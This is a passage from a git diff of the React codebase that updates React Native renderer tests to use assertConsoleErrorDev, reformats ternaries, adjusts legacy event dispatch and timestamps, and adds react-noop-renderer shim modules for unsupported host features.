 let createReactNativeComponentClass;
+let assertConsoleErrorDev;
 
 // Parallels requireNativeComponent() in that it lazily constructs a view config,
 // And registers view manager event types with ReactNativeViewConfigRegistry.
@@ -69,6 +70,7 @@ beforeEach(() => {
     require('react-native/Libraries/ReactPrivate/ReactNativePrivateInterface').RCTEventEmitter;
   React = require('react');
   act = require('internal-test-utils').act;
+  assertConsoleErrorDev = require('internal-test-utils').assertConsoleErrorDev;
   ReactNative = require('react-native-renderer');
   ResponderEventPlugin =
     require('react-native-renderer/src/legacy-events/ResponderEventPlugin').default;
@@ -248,6 +250,12 @@ test('handles events on text nodes', () => {
     </ContextHack>,
     1,
   );
+  assertConsoleErrorDev([
+    'ContextHack uses the legacy childContextTypes API which will soon be removed. ' +
+      'Use React.createContext() instead. ' +
+      '(https://react.dev/link/legacy-context)' +
+      '\n    in ContextHack (at **)',
+  ]);
 
   expect(UIManager.createView).toHaveBeenCalledTimes(5);
 
diff --git a/packages/react-native-renderer/src/__tests__/ReactNativeMount-test.internal.js b/packages/react-native-renderer/src/__tests__/ReactNativeMount-test.internal.js
index 790078b224b8..0aa1c3f0ba0a 100644
--- a/packages/react-native-renderer/src/__tests__/ReactNativeMount-test.internal.js
+++ b/packages/react-native-renderer/src/__tests__/ReactNativeMount-test.internal.js
@@ -18,6 +18,7 @@ let UIManager;
 let TextInputState;
 let ReactNativePrivateInterface;
 let act;
+let assertConsoleErrorDev;
 
 const DISPATCH_COMMAND_REQUIRES_HOST_COMPONENT =
   "dispatchCommand was called with a ref that isn't a " +
@@ -32,7 +33,7 @@ describe('ReactNative', () => {
     jest.resetModules();
 
     React = require('react');
-    act = require('internal-test-utils').act;
+    ({act, assertConsoleErrorDev} = require('internal-test-utils'));
     StrictMode = React.StrictMode;
     ReactNative = require('react-native-renderer');
     ReactNativePrivateInterface = require('react-native/Libraries/ReactPrivate/ReactNativePrivateInterface');
@@ -158,9 +159,8 @@ describe('ReactNative', () => {
     );
 
     expect(UIManager.dispatchViewManagerCommand).not.toBeCalled();
-    expect(() => {
-      ReactNative.dispatchCommand(viewRef, 'updateCommand', [10, 20]);
-    }).toErrorDev([DISPATCH_COMMAND_REQUIRES_HOST_COMPONENT], {
+    ReactNative.dispatchCommand(viewRef, 'updateCommand', [10, 20]);
+    assertConsoleErrorDev([DISPATCH_COMMAND_REQUIRES_HOST_COMPONENT], {
       withoutStack: true,
     });
 
@@ -219,9 +219,8 @@ describe('ReactNative', () => {
     );
 
     expect(UIManager.sendAccessibilityEvent).not.toBeCalled();
-    expect(() => {
-      ReactNative.sendAccessibilityEvent(viewRef, 'updateCommand', [10, 20]);
-    }).toErrorDev([SEND_ACCESSIBILITY_EVENT_REQUIRES_HOST_COMPONENT], {
+    ReactNative.sendAccessibilityEvent(viewRef, 'updateCommand', [10, 20]);
+    assertConsoleErrorDev([SEND_ACCESSIBILITY_EVENT_REQUIRES_HOST_COMPONENT], {
       withoutStack: true,
     });
 
@@ -614,10 +613,8 @@ describe('ReactNative', () => {
 
     ReactNative.render(<ContainsStrictModeChild ref={n => (parent = n)} />, 11);
 
-    let match;
-    expect(
-      () => (match = ReactNative.findHostInstance_DEPRECATED(parent)),
-    ).toErrorDev([
+    const match = ReactNative.findHostInstance_DEPRECATED(parent);
+    assertConsoleErrorDev([
       'findHostInstance_DEPRECATED is deprecated in StrictMode. ' +
         'findHostInstance_DEPRECATED was passed an instance of ContainsStrictModeChild which renders StrictMode children. ' +
         'Instead, add a ref directly to the element you want to reference. ' +
@@ -652,10 +649,8 @@ describe('ReactNative', () => {
       11,
     );
 
-    let match;
-    expect(
-      () => (match = ReactNative.findHostInstance_DEPRECATED(parent)),
-    ).toErrorDev([
+    const match = ReactNative.findHostInstance_DEPRECATED(parent);
+    assertConsoleErrorDev([
       'findHostInstance_DEPRECATED is deprecated in StrictMode. ' +
         'findHostInstance_DEPRECATED was passed an instance of IsInStrictMode which is inside StrictMode. ' +
         'Instead, add a ref directly to the element you want to reference. ' +
@@ -689,8 +684,8 @@ describe('ReactNative', () => {
 
     ReactNative.render(<ContainsStrictModeChild ref={n => (parent = n)} />, 11);
 
-    let match;
-    expect(() => (match = ReactNative.findNodeHandle(parent))).toErrorDev([
+    const match = ReactNative.findNodeHandle(parent);
+    assertConsoleErrorDev([
       'findNodeHandle is deprecated in StrictMode. ' +
         'findNodeHandle was passed an instance of ContainsStrictModeChild which renders StrictMode children. ' +
         'Instead, add a ref directly to the element you want to reference. ' +
@@ -725,8 +720,8 @@ describe('ReactNative', () => {
       11,
     );
 
-    let match;
-    expect(() => (match = ReactNative.findNodeHandle(parent))).toErrorDev([
+    const match = ReactNative.findNodeHandle(parent);
+    assertConsoleErrorDev([
       'findNodeHandle is deprecated in StrictMode. ' +
         'findNodeHandle was passed an instance of IsInStrictMode which is inside StrictMode. ' +
         'Instead, add a ref directly to the element you want to reference. ' +
diff --git a/packages/react-native-renderer/src/__tests__/ResponderEventPlugin-test.internal.js b/packages/react-native-renderer/src/__tests__/ResponderEventPlugin-test.internal.js
index afa9bda411a8..03882b24744d 100644
--- a/packages/react-native-renderer/src/__tests__/ResponderEventPlugin-test.internal.js
+++ b/packages/react-native-renderer/src/__tests__/ResponderEventPlugin-test.internal.js
@@ -81,12 +81,12 @@ const _touchConfig = function (
     topType === 'topTouchStart'
       ? allTouchObjects
       : topType === 'topTouchMove'
-      ? allTouchObjects
-      : topType === 'topTouchEnd'
-      ? antiSubsequence(allTouchObjects, changedIndices)
-      : topType === 'topTouchCancel'
-      ? antiSubsequence(allTouchObjects, changedIndices)
-      : null;
+        ? allTouchObjects
+        : topType === 'topTouchEnd'
+          ? antiSubsequence(allTouchObjects, changedIndices)
+          : topType === 'topTouchCancel'
+            ? antiSubsequence(allTouchObjects, changedIndices)
+            : null;
 
   return {
     nativeEvent: touchEvent(
diff --git a/packages/react-native-renderer/src/__tests__/__snapshots__/ReactFabric-test.internal.js.snap b/packages/react-native-renderer/src/__tests__/__snapshots__/ReactFabric-test.internal.js.snap
deleted file mode 100644
index 90953ff2e6b3..000000000000
--- a/packages/react-native-renderer/src/__tests__/__snapshots__/ReactFabric-test.internal.js.snap
+++ /dev/null
@@ -1,122 +0,0 @@
-// Jest Snapshot v1, https://goo.gl/fbAQLP
-
-exports[`ReactFabric recreates host parents even if only children changed 1`] = `
-"11
- RCTView null
-   RCTView null
-     RCTView {"title":"a"}
-     RCTView {"title":"b"}
-     RCTView {"title":"c"}
-     RCTView {"title":"d"}
-     RCTView {"title":"e"}
-     RCTView {"title":"f"}
-     RCTView {"title":"g"}
-     RCTView {"title":"h"}
-     RCTView {"title":"i"}
-     RCTView {"title":"j"}
-     RCTView {"title":"k"}
-     RCTView {"title":"l"}
-     RCTView {"title":"m"}
-     RCTView {"title":"n"}
-     RCTView {"title":"o"}
-     RCTView {"title":"p"}
-     RCTView {"title":"q"}
-     RCTView {"title":"r"}
-     RCTView {"title":"s"}
-     RCTView {"title":"t"}"
-`;
-
-exports[`ReactFabric recreates host parents even if only children changed 2`] = `
-"11
- RCTView null
-   RCTView null
-     RCTView {"title":"m"}
-     RCTView {"title":"x"}
-     RCTView {"title":"h"}
-     RCTView {"title":"p"}
-     RCTView {"title":"g"}
-     RCTView {"title":"w"}
-     RCTView {"title":"f"}
-     RCTView {"title":"r"}
-     RCTView {"title":"a"}
-     RCTView {"title":"l"}
-     RCTView {"title":"k"}
-     RCTView {"title":"e"}
-     RCTView {"title":"o"}
-     RCTView {"title":"i"}
-     RCTView {"title":"v"}
-     RCTView {"title":"c"}
-     RCTView {"title":"s"}
-     RCTView {"title":"t"}
-     RCTView {"title":"z"}
-     RCTView {"title":"y"}"
-`;
-
-exports[`ReactFabric renders and reorders children 1`] = `
-"11
- RCTView null
-   RCTView {"title":"a"}
-   RCTView {"title":"b"}
-   RCTView {"title":"c"}
-   RCTView {"title":"d"}
-   RCTView {"title":"e"}
-   RCTView {"title":"f"}
-   RCTView {"title":"g"}
-   RCTView {"title":"h"}
-   RCTView {"title":"i"}
-   RCTView {"title":"j"}
-   RCTView {"title":"k"}
-   RCTView {"title":"l"}
-   RCTView {"title":"m"}
-   RCTView {"title":"n"}
-   RCTView {"title":"o"}
-   RCTView {"title":"p"}
-   RCTView {"title":"q"}
-   RCTView {"title":"r"}
-   RCTView {"title":"s"}
-   RCTView {"title":"t"}"
-`;
-
-exports[`ReactFabric renders and reorders children 2`] = `
-"11
- RCTView null
-   RCTView {"title":"m"}
-   RCTView {"title":"x"}
-   RCTView {"title":"h"}
-   RCTView {"title":"p"}
-   RCTView {"title":"g"}
-   RCTView {"title":"w"}
-   RCTView {"title":"f"}
-   RCTView {"title":"r"}
-   RCTView {"title":"a"}
-   RCTView {"title":"l"}
-   RCTView {"title":"k"}
-   RCTView {"title":"e"}
-   RCTView {"title":"o"}
-   RCTView {"title":"i"}
-   RCTView {"title":"v"}
-   RCTView {"title":"c"}
-   RCTView {"title":"s"}
-   RCTView {"title":"t"}
-   RCTView {"title":"z"}
-   RCTView {"title":"y"}"
-`;
-
-exports[`ReactFabric should call complete after inserting children 1`] = `
-[
-  "RCTView {"foo":"a"}
-  RCTView {"foo":"b"}",
-]
-`;
-
-exports[`ReactFabric should only pass props diffs to FabricUIManager.cloneNode 1`] = `
-"11
- RCTText {"foo":"a","bar":"b"}
-   RCTRawText {"text":"1"}"
-`;
-
-exports[`ReactFabric should only pass props diffs to FabricUIManager.cloneNode 2`] = `
-"11
- RCTText {"foo":"b","bar":"b"}
-   RCTRawText {"text":"2"}"
-`;
diff --git a/packages/react-native-renderer/src/legacy-events/EventPluginRegistry.js b/packages/react-native-renderer/src/legacy-events/EventPluginRegistry.js
index 7d96a1eb1bd9..48cfd5759b30 100644
--- a/packages/react-native-renderer/src/legacy-events/EventPluginRegistry.js
+++ b/packages/react-native-renderer/src/legacy-events/EventPluginRegistry.js
@@ -107,6 +107,7 @@ function publishEventForPlugin(
   if (phasedRegistrationNames) {
     for (const phaseName in phasedRegistrationNames) {
       if (phasedRegistrationNames.hasOwnProperty(phaseName)) {
+        // $FlowFixMe[invalid-computed-prop]
         const phasedRegistrationName = phasedRegistrationNames[phaseName];
         publishRegistrationName(
           phasedRegistrationName,
diff --git a/packages/react-native-renderer/src/legacy-events/EventPluginUtils.js b/packages/react-native-renderer/src/legacy-events/EventPluginUtils.js
index 02444e079a5a..2027ac2e20fc 100644
--- a/packages/react-native-renderer/src/legacy-events/EventPluginUtils.js
+++ b/packages/react-native-renderer/src/legacy-events/EventPluginUtils.js
@@ -7,8 +7,6 @@
 
 import isArray from 'shared/isArray';
 
-import {enableOwnerStacks} from 'shared/ReactFeatureFlags';
-
 import {runWithFiberInDEV} from 'react-reconciler/src/ReactCurrentFiber';
 
 let hasError = false;
@@ -45,15 +43,15 @@ function validateEventDispatches(event) {
     const listenersLen = listenersIsArr
       ? dispatchListeners.length
       : dispatchListeners
-      ? 1
-      : 0;
+        ? 1
+        : 0;
 
     const instancesIsArr = isArray(dispatchInstances);
     const instancesLen = instancesIsArr
       ? dispatchInstances.length
       : dispatchInstances
-      ? 1
-      : 0;
+        ? 1
+        : 0;
 
     if (instancesIsArr !== listenersIsArr || instancesLen !== listenersLen) {
       console.error('EventPluginUtils: Invalid `event`.');
@@ -69,6 +67,9 @@ function validateEventDispatches(event) {
  */
 export function executeDispatch(event, listener, inst) {
   event.currentTarget = getNodeFromInstance(inst);
+  const currentEvent = global.event;
+  global.event = event;
+
   try {
     listener(event);
   } catch (error) {
@@ -79,6 +80,8 @@ export function executeDispatch(event, listener, inst) {
       // TODO: Make sure this error gets logged somehow.
     }
   }
+
+  global.event = currentEvent;
   event.currentTarget = null;
 }
 
@@ -99,7 +102,7 @@ export function executeDispatchesInOrder(event) {
       // Listeners and Instances are two parallel arrays that are always in sync.
       const listener = dispatchListeners[i];
       const instance = dispatchInstances[i];
-      if (__DEV__ && enableOwnerStacks && instance !== null) {
+      if (__DEV__ && instance !== null) {
         runWithFiberInDEV(instance, executeDispatch, event, listener, instance);
       } else {
         executeDispatch(event, listener, instance);
@@ -108,7 +111,7 @@ export function executeDispatchesInOrder(event) {
   } else if (dispatchListeners) {
     const listener = dispatchListeners;
     const instance = dispatchInstances;
-    if (__DEV__ && enableOwnerStacks && instance !== null) {
+    if (__DEV__ && instance !== null) {
       runWithFiberInDEV(instance, executeDispatch, event, listener, instance);
     } else {
       executeDispatch(event, listener, instance);
diff --git a/packages/react-native-renderer/src/legacy-events/ResponderEventPlugin.js b/packages/react-native-renderer/src/legacy-events/ResponderEventPlugin.js
index 21b0dde0ab3a..77d21c074ee1 100644
--- a/packages/react-native-renderer/src/legacy-events/ResponderEventPlugin.js
+++ b/packages/react-native-renderer/src/legacy-events/ResponderEventPlugin.js
@@ -542,10 +542,10 @@ function setResponderAndExtractTransfer(
   const shouldSetEventType = isStartish(topLevelType)
     ? eventTypes.startShouldSetResponder
     : isMoveish(topLevelType)
-    ? eventTypes.moveShouldSetResponder
-    : topLevelType === TOP_SELECTION_CHANGE
-    ? eventTypes.selectionChangeShouldSetResponder
-    : eventTypes.scrollShouldSetResponder;
+      ? eventTypes.moveShouldSetResponder
+      : topLevelType === TOP_SELECTION_CHANGE
+        ? eventTypes.selectionChangeShouldSetResponder
+        : eventTypes.scrollShouldSetResponder;
 
   // TODO: stop one short of the current responder.
   const bubbleShouldSetFrom = !responderInst
@@ -742,10 +742,10 @@ const ResponderEventPlugin = {
     const incrementalTouch = isResponderTouchStart
       ? eventTypes.responderStart
       : isResponderTouchMove
-      ? eventTypes.responderMove
-      : isResponderTouchEnd
-      ? eventTypes.responderEnd
-      : null;
+        ? eventTypes.responderMove
+        : isResponderTouchEnd
+          ? eventTypes.responderEnd
+          : null;
 
     if (incrementalTouch) {
       const gesture = ResponderSyntheticEvent.getPooled(
@@ -769,8 +769,8 @@ const ResponderEventPlugin = {
     const finalTouch = isResponderTerminate
       ? eventTypes.responderTerminate
       : isResponderRelease
-      ? eventTypes.responderRelease
-      : null;
+        ? eventTypes.responderRelease
+        : null;
     if (finalTouch) {
       const finalEvent = ResponderSyntheticEvent.getPooled(
         finalTouch,
diff --git a/packages/react-native-renderer/src/legacy-events/ResponderTouchHistoryStore.js b/packages/react-native-renderer/src/legacy-events/ResponderTouchHistoryStore.js
index 50264d6c7194..4b523b0a92db 100644
--- a/packages/react-native-renderer/src/legacy-events/ResponderTouchHistoryStore.js
+++ b/packages/react-native-renderer/src/legacy-events/ResponderTouchHistoryStore.js
@@ -207,6 +207,7 @@ const ResponderTouchHistoryStore = {
       touchHistory.numberActiveTouches = nativeEvent.touches.length;
       if (touchHistory.numberActiveTouches === 1) {
         touchHistory.indexOfSingleActiveTouch =
+          // $FlowFixMe[incompatible-type] might be null according to type
           nativeEvent.touches[0].identifier;
       }
     } else if (isEndish(topLevelType)) {
diff --git a/packages/react-native-renderer/src/legacy-events/SyntheticEvent.js b/packages/react-native-renderer/src/legacy-events/SyntheticEvent.js
index 723daa0dc9e5..b6a4bf4e7cbb 100644
--- a/packages/react-native-renderer/src/legacy-events/SyntheticEvent.js
+++ b/packages/react-native-renderer/src/legacy-events/SyntheticEvent.js
@@ -11,6 +11,21 @@ import assign from 'shared/assign';
 
 const EVENT_POOL_SIZE = 10;
 
+let currentTimeStamp = () => {
+  // Lazily define the function based on the existence of performance.now()
+  if (
+    typeof performance === 'object' &&
+    performance !== null &&
+    typeof performance.now === 'function'
+  ) {
+    currentTimeStamp = () => performance.now();
+  } else {
+    currentTimeStamp = () => Date.now();
+  }
+
+  return currentTimeStamp();
+};
+
 /**
  * @interface Event
  * @see http://www.w3.org/TR/DOM-Level-3-Events/
@@ -26,7 +41,7 @@ const EventInterface = {
   bubbles: null,
   cancelable: null,
   timeStamp: function (event) {
-    return event.timeStamp || Date.now();
+    return event.timeStamp || event.timestamp || currentTimeStamp();
   },
   defaultPrevented: null,
   isTrusted: null,
diff --git a/packages/react-native-renderer/src/legacy-events/accumulate.js b/packages/react-native-renderer/src/legacy-events/accumulate.js
index 2d954a7980fc..94cc92567135 100644
--- a/packages/react-native-renderer/src/legacy-events/accumulate.js
+++ b/packages/react-native-renderer/src/legacy-events/accumulate.js
@@ -31,8 +31,7 @@ function accumulate<T>(
   // Both are not empty. Warning: Never call x.concat(y) when you are not
   // certain that x is an Array (x could be a string with concat method).
   if (isArray(current)) {
-    /* $FlowFixMe[incompatible-return] if `current` is `T` and `T` an array,
-     * `isArray` might refine to the array element type of `T` */
+    // $FlowFixMe[incompatible-use] `isArray` does not ensure array is mutable
     return current.concat(next);
   }
 
diff --git a/packages/react-native-renderer/src/legacy-events/accumulateInto.js b/packages/react-native-renderer/src/legacy-events/accumulateInto.js
index 419465bba0ce..3a36e69788c5 100644
--- a/packages/react-native-renderer/src/legacy-events/accumulateInto.js
+++ b/packages/react-native-renderer/src/legacy-events/accumulateInto.js
@@ -38,12 +38,12 @@ function accumulateInto<T>(
   // certain that x is an Array (x could be a string with concat method).
   if (isArray(current)) {
     if (isArray(next)) {
-      // $FlowFixMe[prop-missing] `isArray` does not ensure array is mutable
+      // $FlowFixMe[incompatible-use] `isArray` does not ensure array is mutable
       // $FlowFixMe[method-unbinding]
       current.push.apply(current, next);
       return current;
     }
-    // $FlowFixMe[prop-missing] `isArray` does not ensure array is mutable
+    // $FlowFixMe[incompatible-use] `isArray` does not ensure array is mutable
     current.push(next);
     return current;
   }
diff --git a/packages/react-noop-renderer/src/ReactFiberConfigNoop.js b/packages/react-noop-renderer/src/ReactFiberConfigNoop.js
new file mode 100644
index 000000000000..359d58a6cfdc
--- /dev/null
+++ b/packages/react-noop-renderer/src/ReactFiberConfigNoop.js
@@ -0,0 +1,48 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ *
+ * @flow
+ */
+
+export * from './ReactFiberConfigNoopHydration';
+export * from './ReactFiberConfigNoopScopes';
+export * from './ReactFiberConfigNoopTestSelectors';
+export * from './ReactFiberConfigNoopResources';
+export * from './ReactFiberConfigNoopSingletons';
+// createReactNoop will overwrite these with the mutation or persistence versions.
+export * from './ReactFiberConfigNoopNoMutation';
+export * from './ReactFiberConfigNoopNoPersistence';
+
+export type HostContext = Object;
+
+export type TextInstance = {
+  text: string,
+  id: number,
+  parent: number,
+  hidden: boolean,
+  context: HostContext,
+};
+
+export type Instance = {
+  type: string,
+  id: number,
+  parent: number,
+  children: Array<Instance | TextInstance>,
+  text: string | null,
+  prop: any,
+  hidden: boolean,
+  context: HostContext,
+};
+
+export type PublicInstance = Instance;
+
+export type TransitionStatus = mixed;
+
+export type Container = {
+  rootID: string,
+  children: Array<Instance | TextInstance>,
+  pendingChildren: Array<Instance | TextInstance>,
+};
diff --git a/packages/react-noop-renderer/src/ReactFiberConfigNoopHydration.js b/packages/react-noop-renderer/src/ReactFiberConfigNoopHydration.js
new file mode 100644
index 000000000000..13a5dcf90b66
--- /dev/null
+++ b/packages/react-noop-renderer/src/ReactFiberConfigNoopHydration.js
@@ -0,0 +1,65 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ *
+ * @flow
+ */
+
+// Renderers that don't support hydration
+// can re-export everything from this module.
+
+function shim(...args: any): empty {
+  throw new Error(
+    'react-noop-renderer does not support hydration. ' +
+      'This error is likely caused by a bug in React. ' +
+      'Please file an issue.',
+  );
+}
+
+// Hydration (when unsupported)
+export type ActivityInstance = mixed;
+export type SuspenseInstance = mixed;
+export const supportsHydration = false;
+export const isSuspenseInstancePending = shim;
+export const isSuspenseInstanceFallback = shim;
+export const getSuspenseInstanceFallbackErrorDetails = shim;
+export const registerSuspenseInstanceRetry = shim;
+export const canHydrateFormStateMarker = shim;
+export const isFormStateMarkerMatching = shim;
+export const getNextHydratableSibling = shim;
+export const getNextHydratableSiblingAfterSingleton = shim;
+export const getFirstHydratableChild = shim;
+export const getFirstHydratableChildWithinContainer = shim;
+export const getFirstHydratableChildWithinActivityInstance = shim;
+export const getFirstHydratableChildWithinSuspenseInstance = shim;
+export const getFirstHydratableChildWithinSingleton = shim;
+export const canHydrateInstance = shim;
+export const canHydrateTextInstance = shim;
+export const canHydrateActivityInstance = shim;
+export const canHydrateSuspenseInstance = shim;
+export const hydrateInstance = shim;
+export const hydrateTextInstance = shim;
+export const hydrateActivityInstance = shim;
+export const hydrateSuspenseInstance = shim;
+export const getNextHydratableInstanceAfterActivityInstance = shim;
+export const getNextHydratableInstanceAfterSuspenseInstance = shim;
+export const finalizeHydratedChildren = shim;
+export const commitHydratedInstance = shim;
+export const commitHydratedContainer = shim;
+export const commitHydratedActivityInstance = shim;
+export const commitHydratedSuspenseInstance = shim;
+export const flushHydrationEvents = shim;
+export const clearActivityBoundary = shim;
+export const clearSuspenseBoundary = shim;
+export const clearActivityBoundaryFromContainer = shim;
+export const clearSuspenseBoundaryFromContainer = shim;
+export const hideDehydratedBoundary = shim;
+export const unhideDehydratedBoundary = shim;
+export const shouldDeleteUnhydratedTailInstances = shim;
+export const diffHydratedPropsForDevWarnings = shim;
+export const diffHydratedTextForDevWarnings = shim;
+export const describeHydratableInstanceForDevWarnings = shim;
+export const validateHydratableInstance = shim;
+export const validateHydratableTextInstance = shim;
diff --git a/packages/react-noop-renderer/src/ReactFiberConfigNoopNoMutation.js b/packages/react-noop-renderer/src/ReactFiberConfigNoopNoMutation.js
new file mode 100644
index 000000000000..a9cf7d73458f
--- /dev/null
+++ b/packages/react-noop-renderer/src/ReactFiberConfigNoopNoMutation.js
@@ -0,0 +1,61 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ *
+ * @flow
+ */
+
+// Renderers that don't support mutation
+// can re-export everything from this module.
+
+function shim(...args: any): empty {
+  throw new Error(
+    'This entrypoint of react-noop-renderer does not support mutation. ' +
+      'This error is likely caused by a bug in React. ' +
+      'Please file an issue.',
+  );
+}
+
+// Mutation (when unsupported)
+export const supportsMutation = false;
+export const cloneMutableInstance = shim;
+export const cloneMutableTextInstance = shim;
+export const appendChild = shim;
+export const appendChildToContainer = shim;
+export const commitTextUpdate = shim;
+export const commitMount = shim;
+export const commitUpdate = shim;
+export const insertBefore = shim;
+export const insertInContainerBefore = shim;
+export const removeChild = shim;
+export const removeChildFromContainer = shim;
+export const resetTextContent = shim;
+export const hideInstance = shim;
+export const hideTextInstance = shim;
+export const unhideInstance = shim;
+export const unhideTextInstance = shim;
+export const clearContainer = shim;
+export const applyViewTransitionName = shim;
+export const restoreViewTransitionName = shim;
+export const cancelViewTransitionName = shim;
+export const cancelRootViewTransitionName = shim;
+export const restoreRootViewTransitionName = shim;
+export const cloneRootViewTransitionContainer = shim;
+export const removeRootViewTransitionClone = shim;
+export type InstanceMeasurement = null;
+export const measureInstance = shim;
+export const measureClonedInstance = shim;
+export const wasInstanceInViewport = shim;
+export const hasInstanceChanged = shim;
+export const hasInstanceAffectedParent = shim;
+export const startViewTransition = shim;
+export type RunningViewTransition = null;
+export const startGestureTransition = shim;
+export const stopViewTransition = shim;
+export const addViewTransitionFinishedListener = shim;
+export type ViewTransitionInstance = null | {name: string, ...};
+export const createViewTransitionInstance = shim;
+export type GestureTimeline = any;
+export const getCurrentGestureOffset = shim;
diff --git a/packages/react-noop-renderer/src/ReactFiberConfigNoopNoPersistence.js b/packages/react-noop-renderer/src/ReactFiberConfigNoopNoPersistence.js
new file mode 100644
index 000000000000..5b64978eafa0
--- /dev/null
+++ b/packages/react-noop-renderer/src/ReactFiberConfigNoopNoPersistence.js
@@ -0,0 +1,29 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ *
+ * @flow
+ */
+
+// Renderers that don't support persistence
+// can re-export everything from this module.
+
+function shim(...args: any): empty {
+  throw new Error(
+    'This entrypoint of react-noop-renderer does not support persistence. ' +
+      'This error is likely caused by a bug in React. ' +
+      'Please file an issue.',
+  );
+}
+
+// Persistence (when unsupported)
+export const supportsPersistence = false;
+export const cloneInstance = shim;
+export const createContainerChildSet = shim;
+export const appendChildToContainerChildSet = shim;
+export const finalizeContainerChildren = shim;
+export const replaceContainerChildren = shim;
+export const cloneHiddenInstance = shim;
+export const cloneHiddenTextInstance = shim;
diff --git a/packages/react-noop-renderer/src/ReactFiberConfigNoopResources.js b/packages/react-noop-renderer/src/ReactFiberConfigNoopResources.js
new file mode 100644
index 000000000000..a00466918589
--- /dev/null
+++ b/packages/react-noop-renderer/src/ReactFiberConfigNoopResources.js
@@ -0,0 +1,38 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ *
+ * @flow
+ */
+
+// Renderers that don't support hydration
+// can re-export everything from this module.
+
+function shim(...args: any): empty {
+  throw new Error(
+    'react-noop-renderer does not support Resources. ' +
+      'This error is likely caused by a bug in React. ' +
+      'Please file an issue.',
+  );
+}
+
+export type HoistableRoot = mixed;
+export type Resource = mixed;
+
+// Resources (when unsupported)
+export const supportsResources = false;
+export const isHostHoistableType = shim;
+export const getHoistableRoot = shim;
+export const getResource = shim;
+export const acquireResource = shim;
+export const releaseResource = shim;
+export const hydrateHoistable = shim;
+export const mountHoistable = shim;
+export const unmountHoistable = shim;
+export const createHoistableInstance = shim;
+export const prepareToCommitHoistables = shim;
+export const mayResourceSuspendCommit = shim;
+export const preloadResource = shim;
+export const suspendResource = shim;
diff --git a/packages/react-noop-renderer/src/ReactFiberConfigNoopScopes.js b/packages/react-noop-renderer/src/ReactFiberConfigNoopScopes.js
new file mode 100644
index 000000000000..0aaee7931895
--- /dev/null
+++ b/packages/react-noop-renderer/src/ReactFiberConfigNoopScopes.js
@@ -0,0 +1,23 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ *
+ * @flow
+ */
+
+// Renderers that don't support React Scopes
+// can re-export everything from this module.
+
+function shim(...args: any): empty {
+  throw new Error(
+    'react-noop-renderer does not support React Scopes. ' +
+      'This error is likely caused by a bug in React. ' +
+      'Please file an issue.',
+  );
+}
+
+// React Scopes (when unsupported)
+export const prepareScopeUpdate = shim;
+export const getInstanceFromScope = shim;
diff --git a/packages/react-noop-renderer/src/ReactFiberConfigNoopSingletons.js b/packages/react-noop-renderer/src/ReactFiberConfigNoopSingletons.js
new file mode 100644
index 000000000000..5da6914bb5e5
--- /dev/null
+++ b/packages/react-noop-renderer/src/ReactFiberConfigNoopSingletons.js
@@ -0,0 +1,27 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ *
+ * @flow
+ */
+
+// Renderers that don't support mutation
+// can re-export everything from this module.
+
+function shim(...args: any): any {
+  throw new Error(
+    'react-noop-renderer does not support Singletons. ' +
+      'This error is likely caused by a bug in React. ' +
+      'Please file an issue.',
+  );
+}
+
+// Resources (when unsupported)
+export const supportsSingletons = false;
+export const resolveSingletonInstance = shim;
+export const acquireSingletonInstance = shim;
+export const releaseSingletonInstance = shim;
+export const isHostSingletonType = shim;
+export const isSingletonScope = shim;
diff --git a/packages/react-noop-renderer/src/ReactFiberConfigNoopTestSelectors.js b/packages/react-noop-renderer/src/ReactFiberConfigNoopTestSelectors.js
new file mode 100644
index 000000000000..7604d79d677d
--- /dev/null
+++ b/packages/react-noop-renderer/src/ReactFiberConfigNoopTestSelectors.js
@@ -0,0 +1,29 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ *
+ * @flow
+ */
+
+// Renderers that don't support test selectors
+// can re-export everything from this module.
+
+function shim(...args: any): empty {
+  throw new Error(
+    'react-noop-renderer does not support test selectors. ' +
+      'This error is likely caused by a bug in React. ' +
+      'Please file an issue.',
+  );
+}
+
+// Test selectors (when unsupported)
+export const supportsTestSelectors = false;
+export const findFiberRoot = shim;
+export const getBoundingRect = shim;
+export const getTextContent = shim;
+export const isHiddenSubtree = shim;
+export const matchAccessibilityRole = shim;
+export const setFocusIfFocusable = shim;
+export const setupIntersectionObserver = shim;
diff --git a/packages/react-noop-renderer/src/ReactNoop.js b/packages/react-noop-renderer/src/ReactNoop.js
index df55810493cc..56486fddc3b3 100644
--- a/packages/react-noop-renderer/src/ReactNoop.js
+++ b/packages/react-noop-renderer/src/ReactNoop.js
@@ -53,6 +53,7 @@ export const {
   getRoot,
   // TODO: Remove this after callers migrate to alternatives.
   unstable_runWithPriority,
+  // $FlowFixMe[signature-verification-failure]
 } = createReactNoop(
   ReactFiberReconciler, // reconciler
   true, // useMutation
diff --git a/packages/react-noop-renderer/src/ReactNoopFlightClient.js b/packages/react-noop-renderer/src/ReactNoopFlightClient.js
index afb3eb476012..cf7e4168bd89 100644
--- a/packages/react-noop-renderer/src/ReactNoopFlightClient.js
+++ b/packages/react-noop-renderer/src/ReactNoopFlightClient.js
@@ -14,6 +14,9 @@
  * environment.
  */
 
+import type {Thenable} from 'shared/ReactTypes';
+import type {FindSourceMapURLCallback} from 'react-client/flight';
+
 import {readModule} from 'react-noop-renderer/flight-modules';
 
 import ReactFlightClient from 'react-client/flight';
@@ -22,40 +25,101 @@ type Source = Array<Uint8Array>;
 
 const decoderOptions = {stream: true};
 
-const {createResponse, processBinaryChunk, getRoot, close} = ReactFlightClient({
